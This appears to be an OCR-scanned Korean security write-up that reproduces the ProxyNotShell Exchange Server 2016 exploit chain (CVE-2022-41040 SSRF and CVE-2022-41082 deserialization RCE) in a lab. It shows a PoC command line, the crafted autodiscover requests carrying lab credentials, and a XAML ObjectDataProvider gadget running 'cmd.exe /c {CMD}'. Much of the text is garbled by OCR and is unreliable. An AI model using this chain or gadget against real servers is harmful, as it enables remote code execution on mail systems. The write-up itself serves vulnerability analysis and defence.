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A& F%389] ProxyNotShell o] 52 74L& AmHc}

o|& He
Window Server 2012 R2
AD server (AE ™ E: Administrator/EQST12#$)

| S <}
MS Exchange Server 2016
DNS (egstlab.local)
Window 10 P
2% indow ro

AD user (A HE: user1/EQST12#$)

B 3[OFA EAE

Step 1. PoC HIZE
HAEE {13 PoC 7F A% GitHub URL 2 o2 2t
— URL: https://github.com/testanull/ProxyNotShell-PoC

) o2 92 PoC F=F &85t calcexe & Aot s ¢4 I= A Al

$ python poc_aug3.py https://eqstlab.local user1 EQST12#$ calc.exe
=LYl § python poc_aug3.py [Z0 Q! Z 2] [ID] [Password] [HZ 0]

/eqstlab.local userl EQST12#$ cal

21| pipe
| ive reques

J9 3RCE ¥9 A%

2) & ZHMS Exchange Server 2016) AJH]o]A] calc.exe &2 221

C:AMWindows W System 32 calc exe SUCCESS

2 3:28:23.4724772 Ecmd.exe 12760 'w CloseFile

2= 3:28:23.4727315 W MSExchangeH.. 13060 s WiiteFile C:MProgram Files' Microsoft'Exchang. . SUCCESS
2= 3:28:23.4792873 |8 'w3wp exe 9576 < Thread Exit SUCCESS
2= 3:28:23.4803896 | || calc.exe 4912 c”lfad Image C:MWindows' W System32'cale.exe SUCCESS
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Step 1. CVE-2022-41040

MS Exchange Server & AR&AF A3 < 7Fst ZEEQNIE(Client access services)@t AREAL7}
213 Aol E7Hsdr WA= (Backend Services) 2 /3 H Th ProxyNotShell o] A HA 22 TA =
CVE-2022-41040 & <83t SSRF2 FHFgoez OWA(Outlook Web App)2] autodiscover
DE2EQIEE oFgsith autodiscover AH|A APl QIEXQIEE o]gslo] Wi Aujo] =g
715 835ke AulAan s FHoFE-2 autodiscover TEENE oA PowerShell APl JIEXIE
URL 7 &2%F PowerShell i+ 2= H7ste] M E7H¢ WA= AA| A Hts FS3trh

X PowerShell APl AIEZQIE HAZEE https://%exchangeserverdomiaon%/powershell O|C.
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2 SSRF(Server—Side Request Forgery) 2] k2 AH| ZofA zxH 2HS HULE st FHofHdo=z, i Awo HJEE
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ProxyShell #2F4-2 autodiscover & ©]-85to] URL &
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TZAL AL 2 Axt O™ 6 J—]- ol 9 42 = 401 Unauthorized o2& wHehetrh. Shx|qL,

a8 6 A8 89 4 FEo 5 WA NTLMNT Lan Manager) 37 Basic4©| k&% o] ol&

olg3 BHo| F15oict,

Request Response =
Raw Hex \n = Raw Hex VI

1|GET /autodiscover /fautodiscover. json?

@user 1/PowerShel | ?serializationLevel=
Full:ExchClientVer=15.2.922.7:clientApplication=Manageme
ntShel l:TargetServer=:PSVersion=5.1.17763.592&Emai |=
autodiscover /autodiscover . jsonh3F@user 1 HTTP/1.1

2 Host: egstlab. local oz =]
3 Authorization: Basic realm="eqgst lab. local’ SSRF & TE
4 Sec-Ch-Ua: "Not?A_Brand":v="8", "Chromium":v="108"

I| HTTP/1.1 401 Unauthorized | 15 0f2

2 Server: Microsoft=11S/8.5

3 request-id: b014f0e1-a453-45b4-8d41-a67e8e9e5520
HWWW-Authenticate: Negotiate
SlWWwW-Authenticate: NTLM
EfWWW-Authenticate: Basic realm="eqstlab. local"
7 X=Powered-By: ASP.NET

g X-FEServer: EQSTLAB

= d
AS 4

I3 6 ProxyShell 401 JIF2F

3 NTLM o]gt NT Lan Mange ¢] ¢fol&, Ao A A-gst
grog AT E AEsA| ¢Fal, Exchange SAE| AZE &
4 Basic o]gt ¢ AJHo] B o}lo|t]¢} T E Base64d HfA o=
EWS(Exchange Web Service), 992 PowerShell, autodiscover 5

IZ2EFZ 5 ©
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weta] SSRF #Hlo|2E=E EE5Ee] ProxyNotShell 322 98] 18 7 A a5 9% AFHQ
user | 'EQST12#3$E base64 2 Q137 5to] Request & HWT},

Request Response L
Prett Raw Hex = \n = Preth Raw Hex Render = \n =

" GET /autodiscover/autodiscover.json?

@user 1/PowerShel | 7ser falizationlLeve =
Full:ExchClientVer=15.2.922.7:clientApplicat ion=Managems
ntShel | :TargetServer=:PSVersion=5.1.17763.592&Emai |=

autodiscover /autodiscover . json%3F@user 1 HTTP/1.1

2 Host: eqstlab. local

©|Author ization: Basic dXNIcjESRVFTVDEY |yo=|

4 Sec-Ch-Ua: "Not7A_B v="8", "Chromium"

5 Sec—-Ch-Ua-Mobile: 70

B Sec-Ch-Ua-Platform: "Windows"

7 Upgrade—Insecure-Requests:

g User—-Agent: Mozilla/5.0 (Windows NT 10.0:
AppleWebKit/5637.36 (KHTML, |ike Gecko)
Chrome/108.0.5359.125 Safari/5637.36

iwv="108"
[ userl:EQST12#$ l

Wing4: x64)

T{HTTR/1.1 200 0K

¢ Cache-Control: private

3 Server: Microsoft-115/8.5

4 request—id: 65806123-741c-48cf-a70a—2488a6c31f2a

5 ¥X-CalculatedBETarget: eqgstlab.eqstlab. local

b X-AspNet-Version: 4.0.30319

Tlset-Cookie: X-BackEndCookie=

S5-1-5-21-3B4225202-2619695410-3668803308- 1146=u56Lnp2
ejJoByb3|yciexbzSzMEocmdLLxsbJOp7Mx5r Sme3JnsfHyBbLnsiM
gYHNz83M0s /N0s/Na8/Mxcr JxczPaZg0i luTnp3Rk5CcnpOBzw==
explres=lhu, UZ-reb-2U0Z3 U4.50. 30 GMT.
path=/autodiscover: secure: HttpOnly

g X-Powered-By: ASP.NET

4 X-FESerwver: EQSTLAB
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Step 2. CVE-2022-41082
Exchange PowerShell BiIE o] AEH o=z PowerShell Remoting5 o4 9=z &35}
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Step 3. PoC 52t £4
ol#f €] PoC = SSRF

59 92 1o

E5) 7ALS AZsH 5, AHE FEO Htglsl= fA=9l XamlReader &
Ho]REE AR Xaml-& ZE5te] RCE S Adds= FE9] dRolnt

X mlm

<Props>

| <S N="Name">Type</S>

‘? <0bj N="TargetTypeForDeserialization">
<THN RefId="2">

@)<T>System. Exception</T> I Type &8
<T>System.Object</T>

</TN>
<MS>

o=y e

<BA N="SerializationData">AAEAAAD/////
AQAAAAAAAAMEAQAAABOTeXNOZWOUVWSpdHITZXIpYWxpemF@alouSGosZGVy AwAAAAREYXRhCVVuaX
RSVH1wZQxBc3M1bWlseUShbWUBAAEIBg IAAAAEU3 1zdGVEL1dpbmRvd3MuTWFya3Vwl LhhbWxSZWFkZ
XIEAAAABEMAAABYUHI Lc2VudGF@aW9uRnJhbWW3b3IrLCBWZXI zaWOuPTQuUMCAwL jAsTEN1bHR1cmU9
bm1dHIhbCwgUHVibGl jS2VSVGIrZWd9MzF1Z JMANT ZhZDM2HNGUzZzNQs =< /BA>

</MS>
</0bj>

cpree= © Xaml A/88A] RCE HO|2E

< [CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation”

xmlns:x="http://schemas.microsoft.com/winfx/2086/xaml"” xmlns:System="clr-namespace:System;assembly=mscorlib"
¥mlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><0ObjectDataProvider x:Key="LaunchCalch"
ObjectType="{{x:Type Diag:Process}}" MethodName="Start">
<DbjectDataProvider.MethodParameters><System:Stringrcmd. exe</System:String><System:String>/c {CMD}
</System:String> </ObjectDataProvider.MethodParameters> </ObjectDataProvidr> </ResourceDictionary>]]>

</S

1% 9PoCRCE F82 Hol2&

Az Esl o8-S Ya 1 Wit o] TargetlTypeForDeserialization = AZAstyl, 2 Wit o]
System.Exception 6 & Type 32 A3ttt Type & Exception &2 AASH o]f= F kst
BinaryFormatter & Z3HH 22921 SerializationTypeConverter & &-8oH RCE #o|2E RE&
okgat 4 gly] wjRo|tf. MS  Exchange Server oA AAIE HHs T diE=
UnitySerializationHolder 7 S A& &85ttt webA], AMS>EIL(4 ¥)o AAE 2 Est & of
o @3t UnitySerializationHolder ¢} XamlReader & Q137 95to] ZFA|A ZHsIstHA, G2Hs) &

o
o] RCE Ho|2= Fado] AAH (SO E1E A= &8 4 QU

6 System.Exception &2~ ofEHolAlold A F TAsHe g Ry A FHAE NET o] Zghs|o] it
https-//leam.mla()soft.L()m/ko—kr/domet/api/S\'stem.excepti(m’?\'ie\\':net—7.0 ol Zoj=of qlrt.

7 UnitySerializationHolder S22 2to]H2]8] “mscorlib”o] Eg =] 9lom MS Exchange Server ol A ASIE thE uf] AMg5H=
Sefjzolt.
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A5k UnitySerializationHolder 2+ XamlReader & 2]E3}stA, S21E3} A] XamlReader ol 4]
Ho|ZEE A2 ARgsto] Adfstil, Xaml o] 2EEo] ¢4 FE Ado] 7Hgsit,

<TypeConverter:>
<TypelName>Microsoft.Exchange.Data.SerializationTypeConverter</TypelName>

</TypeConverter>

</Type>

<Type>
<Name>Deserialized.Microsoft.Exchange.Data.Unlimited” 1[ [Microsoft.Exchange.Data.EnhancedTimeSpan, Microsoft.Exchange.Data,

Version=15.8.8.8, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]«</Name>
<Members>
<MemberSet>
<Name>PS5tandardMembers</Name:>
<Members>
<NoteProperty>

<Name>TargetTypeForDeserialization</Name>
<Value»>Microsoft.Exchange.Data.Unlimited 1[ [Microsoft.Exchange.Data.EnhancedTimeSpan, Microsoft.Exchange.Data,

Version=15.8.8.8, Culture=neutral, PublicKeyToken=31bf3856ad364e35]]«/Values
</NoteProperty>
</Members:

ol

I 11 xmlo] 5859 &

Az21EHgE A Ho|R2E9Q] {CMD}o] calc.exe 7F A2 AEE0o] cmd.exe /c calc.exe 7} A= o]
RCE 7} AsjHry,

<! [CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation”

xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml™ xmlns:System="clr-namespace:System;assembly=mscorlib"|
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system”><0bjectDataProvider x:Key="LaunchCalch"
ObjectType="{{x:Type Diag:Process}}" MethodName="Start">
[<ObjectDataPPovider.MethodPaPameters><System:String>cmd.exe</5ystem:String><5ystem:5tring>/c {CMDH
</System:String> </ObjectDataProvider.MethodParameters> </0ObjectDataProvidr> </ResourceDictionary>]]>
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Environment:
=C:=c:\Windows\System32\inetsrv
ALLUSERSPROFILE=C:\ProgramData

APP_POOL_ID=MSExchangePowerShellAppPool
CERES_REGISTRY_PRODUCT_NAME=Search Foundation for Exchange
CommonProgramFiles=C:\Program Files\Common Files
CommonProgramFiles(x86)=C:\Program Files (x86)\Common Files
CommonProgramW6432=C:\Program Files\Common Files
COMPUTERNAME=EQSTLAB
ComSpec=C:\Windows\system32\cmd.exe
ExchangelnstallPath=C:\Program Files\Microsoft\Exchange Server\V15\
FP_NO_HOST_CHECK=NO

NUMBER_OF_PROCESSORS=1
0OS=Windows_NT

PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE; JS; JSE; WSF;.WSH;.MSC;.CPL
PROCESSOR_ARCHITECTURE=AMD64

APPDATA=C:\Windows\system32\config\systemprofile\AppData\Roaming
APP_POOL_CONFIG=C:\inetpub\temp\apppools\MSExchangePowerShellAppPool\MSExchangePowerShellAppPool.co

LOCALAPPDATA=C:\Windows\system32\config\systemprofile\AppData\Local

Path=; ;C:\Windows\system32;C:\Windows; C:\Windows\System32\Wbem; C:\Windows\System32\WindowsPowerShell

PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 158 Stepping 9, Genuinelntel

2= 849285765734 Picalc exe 12536 FiiProcess Siat. SUCCESS Parent PID: 20440_|
& event | & Process | & Stack
Date: 2023-01-02 2 = 8:49:28.5765734
Thread: 20456
Class: Process
Operation: Process Start
Result: SUCCESS
Path:
Duration: 0.0000000
Parent PID: 20440
Command line: calc.exe
Current directory: c:\windows\system32\inetsrv\
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7134
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Ad=EXEE =3 o|FA|H /owa/{email address)/ProwerShell 7} 7ol OWA URL ApAEHE
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1% 15 MS Exchange Server 3|2 W<
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PowerShell & HZo=z AHstr| ZotA Y24 PowerShell & H[&Asfof St} E3Jh
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« URL: https://www.crowdstrike.com/blog/owassrf—exploit—analysis—and-recommendations/

« URL: https://www.zerodayinitiative.com/blog/2022/11/14/control-your—types—or—get—pwned—remote—
code—execution—in—exchange—powershell-backend
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« URL: https://twitter.com/wdormann/status/1593630153036500993/photo/1
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